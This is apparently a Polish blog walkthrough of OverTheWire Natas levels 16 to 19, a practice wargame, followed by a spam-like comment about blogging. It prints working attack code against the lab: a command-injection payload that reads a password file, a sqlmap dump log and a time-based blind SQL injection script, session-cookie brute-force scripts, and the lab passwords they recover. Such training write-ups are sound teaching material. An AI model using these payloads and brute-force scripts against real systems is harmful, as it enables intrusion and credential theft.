NATAS16:
Link do logowania: http://natas16.natas.labs.overthewire.org/index.php
Login: natas16, password: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
Poziom przedstawia się następująco:
Najpierw sprawdzamy kod strony:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 |
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas16", "pass": "<censored>" };</script></head> <body> <h1>natas16</h1> <div id="content"> For security reasons, we now filter even more on certain characters<br/><br/> <form> Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br> </form> Output: <pre> <? $key = ""; if(array_key_exists("needle", $_REQUEST)) { $key = $_REQUEST["needle"]; } if($key != "") { if(preg_match('/[;|&`\'"]/',$key)) { print "Input contains an illegal character!"; } else { passthru("grep -i \"$key\" dictionary.txt"); } } ?> </pre> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html> |
Kod strony jest bardzo zbliżony do zadania nr 9 i 10, z bardziej zaawansowaną jeszcze walidacją danych wejściowych.
1 2 3 4 5 6 7 |
if($key != "") { if(preg_match('/[;|&`\'"]/',$key)) { print "Input contains an illegal character!"; } else { passthru("grep -i \"$key\" dictionary.txt"); } } |
Zadanie to podobnie do poprzedniego zwraca wartość True lub False dla zapytań w pliku, dlatego też możemy wykorzystać napisany poniżej skrypt do sprawdzania po kolei każdej litery hasła do kolejnego poziomu:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
import requests import sys from string import digits, ascii_lowercase, ascii_uppercase charset = ascii_lowercase + ascii_uppercase + digits s = requests.Session() s.auth = ('natas16', 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh') password = "" # Każde hasło składa się z 32 znakow while len(password) < 32: for char in charset: payload = {'needle': '$(grep -E ^%s.* /etc/natas_webpass/natas17)' % (password + char)} r = s.get('http://natas16.natas.labs.overthewire.org/index.php', params=payload) if len(r.text) == 1105: sys.stdout.write(char) sys.stdout.flush() password += char break |
Skrypt działa pod interpreterem python3, dlatego też niezbędne jest jego wywołanie komendą: python3 ./natas16.py
W trakcie wykonywania skryptu pojawiają się kolejne litery hasła do kolejnego 17 poziomu, które brzmi 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
NATAS17:
Link do strony: http://natas17.natas.labs.overthewire.org/index.php
Login: natas17, password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
Podglądamy kod strony:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 |
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas17", "pass": "<censored>" };</script></head> <body> <h1>natas17</h1> <div id="content"> <? /* CREATE TABLE `users` ( `username` varchar(64) DEFAULT NULL, `password` varchar(64) DEFAULT NULL ); */ if(array_key_exists("username", $_REQUEST)) { $link = mysql_connect('localhost', 'natas17', '<censored>'); mysql_select_db('natas17', $link); $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; if(array_key_exists("debug", $_GET)) { echo "Executing query: $query<br>"; } $res = mysql_query($query, $link); if($res) { if(mysql_num_rows($res) > 0) { //echo "This user exists.<br>"; } else { //echo "This user doesn't exist.<br>"; } } else { //echo "Error in query.<br>"; } mysql_close($link); } else { ?> <form action="index.php" method="POST"> Username: <input name="username"><br> <input type="submit" value="Check existence" /> </form> <? } ?> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html> |
Strona jest podatna na atak SQL Injection w partciu o Time Based Attack, poniżej zapis z ataku przy pomocy sqlmap:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 |
sqlmap --auth-type=basic --auth-cred=natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw -u http://natas17.natas.labs.overthewire.org/index.php --data="username=a" -p username --level=5 --user-agent=Mozilla --dbms=MySQL --threads 4 -D natas17 -T users --dump ___ __H__ ___ ___[)]_____ ___ ___ {1.1.11#stable} |_ -| . ['] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 06:15:08 [06:15:09] [INFO] testing connection to the target URL [06:15:11] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS [06:15:11] [INFO] testing if the target URL is stable [06:15:11] [INFO] target URL is stable [06:15:11] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable [06:15:11] [INFO] testing for SQL injection on POST parameter 'username' [06:15:11] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [06:15:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (Generic comment)' [06:15:35] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL)' [06:15:36] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL) (original value)' [06:15:36] [INFO] testing 'Boolean-based blind - Parameter replace (CASE)' [06:15:36] [INFO] testing 'Boolean-based blind - Parameter replace (CASE) (original value)' [06:15:36] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)' [06:15:44] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause' [06:15:57] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)' [06:16:16] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)' [06:16:28] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int)' [06:16:41] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [06:16:42] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace (original value)' [06:16:42] [INFO] testing 'MySQL < 5.0 boolean-based blind - Parameter replace' [06:16:42] [INFO] testing 'MySQL < 5.0 boolean-based blind - Parameter replace (original value)' [06:16:42] [INFO] testing 'MySQL boolean-based blind - Parameter replace (MAKE_SET)' [06:16:43] [INFO] testing 'MySQL boolean-based blind - Parameter replace (MAKE_SET - original value)' [06:16:43] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT)' [06:16:43] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT - original value)' [06:16:43] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int)' [06:16:44] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int - original value)' [06:16:44] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause' [06:16:45] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)' [06:16:45] [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause' [06:16:46] [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)' [06:16:46] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Stacked queries' [06:16:57] [INFO] testing 'MySQL < 5.0 boolean-based blind - Stacked queries' [06:17:08] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)' [06:17:15] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)' [06:17:23] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)' [06:17:30] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [06:17:38] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [06:17:46] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)' [06:17:54] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [06:18:01] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)' [06:18:07] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)' [06:18:07] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)' [06:18:07] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)' [06:18:07] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)' [06:18:07] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)' [06:18:07] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)' [06:18:08] [INFO] testing 'MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (BIGINT UNSIGNED)' [06:18:08] [INFO] testing 'MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (EXP)' [06:18:08] [INFO] testing 'MySQL >= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)' [06:18:08] [INFO] testing 'MySQL >= 5.0 error-based - ORDER BY, GROUP BY clause (FLOOR)' [06:18:09] [INFO] testing 'MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE)' [06:18:09] [INFO] testing 'MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (UPDATEXML)' [06:18:09] [INFO] testing 'MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause (FLOOR)' [06:18:10] [INFO] testing 'MySQL inline queries' [06:18:10] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)' [06:18:15] [INFO] testing 'MySQL > 5.0.11 stacked queries' [06:18:23] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP - comment)' [06:18:29] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP)' [06:18:36] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind' [06:18:43] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (comment)' [06:18:52] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [06:19:03] [INFO] POST parameter 'username' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable for the remaining tests, do you want to include all tests for 'MySQL' extending provided risk (1) value? [Y/n] n [06:20:05] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [06:20:05] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [06:20:07] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns' [06:20:09] [INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns' [06:20:11] [INFO] testing 'Generic UNION query (random number) - 21 to 40 columns' [06:20:13] [INFO] testing 'Generic UNION query (NULL) - 41 to 60 columns' [06:20:15] [INFO] testing 'Generic UNION query (random number) - 41 to 60 columns' [06:20:17] [INFO] testing 'Generic UNION query (NULL) - 61 to 80 columns' [06:20:19] [INFO] testing 'Generic UNION query (random number) - 61 to 80 columns' [06:20:21] [INFO] testing 'Generic UNION query (NULL) - 81 to 100 columns' [06:20:23] [INFO] testing 'Generic UNION query (random number) - 81 to 100 columns' [06:20:25] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns' [06:20:27] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns' [06:20:29] [INFO] testing 'MySQL UNION query (NULL) - 21 to 40 columns' [06:20:31] [INFO] testing 'MySQL UNION query (random number) - 21 to 40 columns' [06:20:33] [INFO] testing 'MySQL UNION query (NULL) - 41 to 60 columns' [06:20:35] [INFO] testing 'MySQL UNION query (random number) - 41 to 60 columns' [06:20:37] [INFO] testing 'MySQL UNION query (NULL) - 61 to 80 columns' [06:20:39] [INFO] testing 'MySQL UNION query (random number) - 61 to 80 columns' [06:20:41] [INFO] testing 'MySQL UNION query (NULL) - 81 to 100 columns' [06:20:43] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns' [06:20:45] [INFO] checking if the injection point on POST parameter 'username' is a false positive POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n sqlmap identified the following injection point(s) with a total of 1950 HTTP(s) requests: --- Parameter: username (POST) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=a" AND (SELECT * FROM (SELECT(SLEEP(5)))QmuK)-- kSJS --- [06:31:50] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian 8.0 (jessie) web application technology: Apache 2.4.10 back-end DBMS: MySQL >= 5.0.12 [06:31:50] [INFO] fetching columns for table 'users' in database 'natas17' [06:31:50] [WARNING] multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically [06:31:50] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done) [06:31:56] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y 2 [06:41:30] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done) [06:41:48] [INFO] adjusting time delay to 1 second due to good response times username [06:42:14] [INFO] retrieved: password [06:42:48] [INFO] fetching entries for table 'users' in database 'natas17' [06:42:48] [INFO] fetching number of entries for table 'users' in database 'natas17' [06:42:48] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done) 4 [06:42:52] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done) 0xjsNNjGvHkb7pwgC6PrAyLNT0 [06:45:11] [ERROR] invalid character detected. retrying.. [06:45:11] [WARNING] increasing time delay to 2 seconds pYCqHd [06:46:08] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done) u [06:46:29] [ERROR] invalid character detected. retrying.. [06:46:29] [WARNING] increasing time delay to 3 seconds se [06:47:09] [ERROR] invalid character detected. retrying.. [06:47:09] [WARNING] increasing time delay to 4 seconds r1 [06:47:29] [INFO] retrieved: MeYdu6MbjewqcokG0kD4LrSsUZtfx [06:57:21] [ERROR] invalid character detected. retrying.. [06:57:21] [WARNING] increasing time delay to 5 seconds OQ [06:58:11] [ERROR] invalid character detected. retrying.. [06:58:11] [WARNING] increasing time delay to 6 seconds 2 [06:58:30] [INFO] retrieved: [06:59:08] [ERROR] invalid character detected. retrying.. [06:59:08] [WARNING] increasing time delay to 7 seconds user2 [07:01:39] [INFO] confirming MySQL [07:01:39] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions [07:01:57] [INFO] adjusting time delay to 2 seconds due to good response times [07:01:57] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian 8.0 (jessie) web application technology: Apache 2.4.10 back-end DBMS: MySQL >= 5.0.0 [07:01:57] [INFO] fetching columns for table 'users' in database 'natas17' [07:01:57] [INFO] resumed: 2 [07:01:57] [INFO] resumed: username [07:01:57] [INFO] resumed: password [07:01:57] [INFO] fetching entries for table 'users' in database 'natas17' [07:01:57] [INFO] fetching number of entries for table 'users' in database 'natas17' [07:01:57] [INFO] resumed: 4 [07:01:57] [INFO] resumed: 0xjsNNjGvHkb7pwgC6PrAyLNT0pYCqHd [07:01:57] [INFO] resumed: user1 [07:01:57] [INFO] resumed: MeYdu6MbjewqcokG0kD4LrSsUZtfxOQ2 [07:01:57] [INFO] resumed: user2 [07:01:57] [WARNING] multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically [07:01:57] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done) [07:02:08] [INFO] adjusting time delay to 1 second due to good response times V [07:02:21] [ERROR] invalid character detected. retrying.. [07:02:21] [WARNING] increasing time delay to 2 seconds OFWy9nHX9WUMo9Ei9WVKh8xLP1mrHKD [07:07:05] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done) user3 [07:07:45] [INFO] retrieved: xvKIqDjy4OPv7wCRgDl [07:10:49] [ERROR] invalid character detected. retrying.. [07:10:49] [WARNING] increasing time delay to 3 seconds m [07:11:24] [ERROR] invalid character detected. retrying.. [07:11:24] [WARNING] increasing time delay to 4 seconds j0pFsCsDjhdP [07:15:34] [INFO] retrieved: natas18 Database: natas17 Table: users [4 entries] +----------+----------------------------------+ | username | password | +----------+----------------------------------+ | user1 | 0xjsNNjGvHkb7pwgC6PrAyLNT0pYCqHd | | user2 | MeYdu6MbjewqcokG0kD4LrSsUZtfxOQ2 | | user3 | VOFWy9nHX9WUMo9Ei9WVKh8xLP1mrHKD | | natas18 | xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP | +----------+----------------------------------+ |
Ten atak zajmuje naprawdę dużo czasu, zatem znalazłem w internecie skrypt pythona w wersji 3, który robi to znacznie sprawniej niż sqlmap:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
import requests import sys from string import digits, ascii_lowercase, ascii_uppercase charset = ascii_lowercase + ascii_uppercase + digits sqli_1 = 'natas18" AND password LIKE BINARY "' sqli_2 = '" AND SLEEP(5)-- ' s = requests.Session() s.auth = ('natas17', '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw') password = "" # We assume that the password is 32 chars while len(password) < 32: for char in charset: try: payload = {'username':sqli_1 + password + char + "%" + sqli_2} r = s.post('http://natas17.natas.labs.overthewire.org/', data=payload, timeout=1) except requests.Timeout: sys.stdout.write(char) sys.stdout.flush() password += char break |
Hasło do kolejnego poziomu to : xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
NATAS18:
Link do strony: http://natas18.natas.labs.overthewire.org/index.php
Login : natas18, password : xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
Kod strony jest widoczny poniżej:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 |
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas18", "pass": "<censored>" };</script></head> <body> <h1>natas18</h1> <div id="content"> <? $maxid = 640; // 640 should be enough for everyone function isValidAdminLogin() { /* {{{ */ if($_REQUEST["username"] == "admin") { /* This method of authentication appears to be unsafe and has been disabled for now. */ //return 1; } return 0; } /* }}} */ function isValidID($id) { /* {{{ */ return is_numeric($id); } /* }}} */ function createID($user) { /* {{{ */ global $maxid; return rand(1, $maxid); } /* }}} */ function debug($msg) { /* {{{ */ if(array_key_exists("debug", $_GET)) { print "DEBUG: $msg<br>"; } } /* }}} */ function my_session_start() { /* {{{ */ if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) { if(!session_start()) { debug("Session start failed"); return false; } else { debug("Session start ok"); if(!array_key_exists("admin", $_SESSION)) { debug("Session was old: admin flag set"); $_SESSION["admin"] = 0; // backwards compatible, secure } return true; } } return false; } /* }}} */ function print_credentials() { /* {{{ */ if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { print "You are an admin. The credentials for the next level are:<br>"; print "<pre>Username: natas19\n"; print "Password: <censored></pre>"; } else { print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19."; } } /* }}} */ $showform = true; if(my_session_start()) { print_credentials(); $showform = false; } else { if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) { session_id(createID($_REQUEST["username"])); session_start(); $_SESSION["admin"] = isValidAdminLogin(); debug("New session started"); $showform = false; print_credentials(); } } if($showform) { ?> <p> Please login with your admin account to retrieve credentials for natas19. </p> <form action="index.php" method="POST"> Username: <input name="username"><br> Password: <input name="password"><br> <input type="submit" value="Login" /> </form> <? } ?> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html> |
Panel logowania zaprasza do zalogowania się na konto administratora. Po wpisaniu loginu admin i dowolnego hasła okazuje się, że zalogowani jesteśmy jako zwykły użytkownik.
Składnikiem, który decyduje o typie użytkownika jest ciastko o nazwie PHPSESSID, które może przyjmować wartości w przedziale od 0 do 640. Jeżeli ma poprawną wartość to będziemy zalogowani jako administrator.
Zadanie może być rozwiązane przy pomocy pakietu intruder programu BurpSuite lub przy pomocy poniższego skryptu w języku Python:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
import requests url = "http://natas18.natas.labs.overthewire.org" url2 = "http://natas18.natas.labs.overthewire.org/index.php" s = requests.Session() s.auth = ('natas18', 'xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP') r = s.get(url) for x in range(640): cookies = dict(PHPSESSID=str(x)) r = s.get(url2, cookies=cookies) if "Login as an admin to retrieve" in r.text: pass else: print(r.text) break |
Po odgadnięciu wartości ciasteczka otrzymujemy hasło do 19 poziomu.
You are an admin. The credentials for the next level are:
1 2 |
Username: natas19 Password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs |
NATAS19:
Link do zalogowania: http://natas19.natas.labs.overthewire.org/index.php
Login: natas19, password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs
Zadanie podobne do poprzedniego, tutaj administrator zarzeka się, że parametr session ID nie jest już sekwencją. Logujemy się na stronę przy pomocy danych admin/admin:
Po zalogowaniu się jesteśmy zwykłym użytkownikiem, o tożsamości decyduje zmienna PHPSESSID , która tutaj posiada wartość: 3531302d61646d696e
Wartość ciastka wygląda na bardzo krótkie, spróbujemy sprawdzić czy wartość nie jest kodowana. Dekoder w ASCII Hex podaje wartość 510-admin. Zatem wartość ciastka przyjmuje wartości liczby od 0 do 640 po czym następuje ciąg -admin
Poniżej skrypt, który generuje zapytania do serwera dla poziomu natas19:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
import requests import binascii url = "http://natas19.natas.labs.overthewire.org" s = requests.Session() s.auth = ('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs') for x in range(1000): tmp = str(x) + "-admin" val = binascii.hexlify(tmp.encode('utf-8')) cookies = dict(PHPSESSID=val.decode('ascii')) r = s.get(url, cookies=cookies) if "Login as an admin to retrieve" in r.text: pass else: print(str(x)) print(r.text) break |
Po odgadnięciu liczby z początku rozkodowanej wartości ciasteczka następuje próba zalogowania na stronę. Wynik programu:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
281 <html> <head> <!-- This stuff in the header has nothing to do with the level --> <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas19", "pass": "4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs" };</script></head> <body> <h1>natas19</h1> <div id="content"> <p> <b> This page uses mostly the same code as the previous level, but session IDs are no longer sequential... </b> </p> You are an admin. The credentials for the next level are:<br><pre>Username: natas20 Password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF</pre></div> </body> </html> |
Wartość liczby przed słowem admin wynosi 281, zatem należy stworzyć ciąg 281-admin i zakodować go ASCII HEX, zatem wartość ciasteczka wynosi: 3238312d61646d696e
Sprawdzenie na stronie:
Hasło do kolejnego poziomu to : eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
Howdy! I know this is somewhat off-topic however I had to ask.
Does running a well-established website like yours take
a large amount of work? I am completely new to blogging but I do write in my
diary daily. I’d like to start a blog so I can share my own experience and thoughts online.
Please let me know if you have any recommendations or tips for new aspiring bloggers.
Thankyou! credit score check
Sorry for the delay. Your query was inadvertently sent to spam. Thanks for comment. As for your own blog, first you need to know what you want to write about. Then it’s all downhill, own hosting, then a WordPress website. Finally, lots of ideas and hard work. Good luck. ps. Sorry for the language, I’m using a translator.